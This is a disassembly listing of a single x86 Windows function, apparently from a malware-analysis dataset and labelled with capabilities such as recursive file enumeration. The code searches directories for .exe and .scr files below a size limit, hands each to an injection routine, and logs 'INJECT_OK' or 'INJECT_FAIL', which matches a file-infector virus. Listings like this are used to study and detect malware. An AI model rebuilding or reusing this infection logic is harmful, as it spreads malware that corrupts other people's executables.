Function at 0x403430
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0xffffffffffffffff
push 0x4061bb
mov eax, dword fs:[0]
push eax
sub esp, 0xe5c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xe58], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0xe70]
mov dword fs:[0], eax
mov eax, dword [esp + 0xe84]
mov ecx, dword [esp + 0xe88]
mov ebp, dword [esp + 0xe8c]
push 0x3ff
lea edx, [esp + 0x671]
push 0
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov byte [esp + 0x678], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x3ff
lea eax, [esp + 0xa71]
push 0
push eax
mov byte [esp + 0xa78], 0
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0xe8c]
lea edx, [esp + 0xa78]
add esp, 0xc
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x4034d6
lea eax, [esp + 0xa6c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4034f0
sub eax, edx
cmp byte [esp + eax + 0xa6b], 0x5c
je 0x403524
lea edi, [esp + 0xa6c]
add edi, 0xffffffff
nop
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x403510
mov cx, word [0x407380]
mov word [edi], cx
lea edx, [esp + 0xa6c]
push edx
push str._s.
lea eax, [esp + 0x674]
push 0x400
push eax
call dword [sym.imp.MSVCR80.dll_sprintf_s]
add esp, 0x10
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x670]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x20], esi
jne 0x40356c
xor eax, eax
jmp 0x403813
mov dword [esp + 0x1c], 0
mov bl, byte [esp + 0x24]
test bl, 0x10
je 0x4035d8
cmp byte [esp + 0x50], 0x2e
je 0x4037dd
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0xa70]
push ecx
push str._s_s_
lea edx, [esp + 0x678]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_sprintf_s]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0x14
push ebp
push eax
push ecx
lea edx, [esp + 0x678]
push edx
call fcn.00403430
add esp, 0x10
test eax, eax
je 0x403808
jmp 0x4037dd
lea eax, [esp + 0x50]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4035e0
sub eax, edx
cmp eax, 5
jb 0x4037dd
lea eax, [esp + 0x50]
lea edx, [eax + 1]
jmp 0x403600
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403600
sub eax, edx
lea esi, [esp + eax + 0x4c]
mov edi, str..exe
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x403699
lea eax, [esp + 0x50]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403626
sub eax, edx
mov edi, str..EXE
lea esi, [esp + eax + 0x4c]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403699
lea eax, [esp + 0x50]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403650
sub eax, edx
lea esi, [esp + eax + 0x4c]
mov edi, str..scr
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x403699
lea eax, [esp + 0x50]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403676
sub eax, edx
mov edi, str..SCR
lea esi, [esp + eax + 0x4c]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4037dd
cmp dword [esp + 0x44], 0x3200000
ja 0x4037dd
cmp dword [esp + 0x40], 0
jne 0x4037dd
test bl, 1
jne 0x4037dd
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0xa70]
push ecx
push 0x407288
lea edx, [esp + 0x678]
push 0x400
push edx
call dword [sym.imp.MSVCR80.dll_sprintf_s]
add esp, 0x14
xor esi, esi
push 0x100
lea eax, [esp + 0x170]
push esi
push eax
mov dword [esp + 0x170], esi
mov dword [esp + 0x174], esi
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x400
lea ecx, [esp + 0x270]
push esi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x66c]
lea ecx, [esp + 0x164]
mov dword [esp + 0xe78], esi
call fcn.004055f0
test eax, eax
je 0x4037c6
lea edx, [esp + 0x164]
push edx
call fcn.00402580
add esp, 4
cmp eax, 0xb
je 0x403760
cmp eax, 0xc
je 0x403760
cmp eax, 1
jne 0x4037ba
mov ecx, dword [esp + 0x18]
add dword [ecx], 1
push eax
lea ecx, [esp + 0x168]
call fcn.004030f0
add esp, 4
test eax, eax
je 0x403795
mov eax, dword [esp + 0x14]
add dword [eax], 1
cmp ebp, esi
je 0x4037ba
lea eax, [esp + 0x66c]
push eax
push str.INJECT_OK____s_n
jmp 0x4037a6
cmp ebp, esi
je 0x4037ba
lea ecx, [esp + 0x66c]
push ecx
push str.INJECT_FAIL__s_n
push ebp
call dword [sym.imp.MSVCR80.dll_fprintf]
add esp, 0xc
push ebp
call dword [sym.imp.MSVCR80.dll_fflush]
add esp, 4
lea eax, [esp + 0x164]
call fcn.004055a0
lea eax, [esp + 0x164]
mov dword [esp + 0xe78], 0xffffffff
call fcn.004055a0
mov esi, dword [esp + 0x20]
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403574
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x403808
mov dword [esp + 0x1c], 1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0xe70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xe58]
xor ecx, esp
call fcn.004058f0
add esp, 0xe68
ret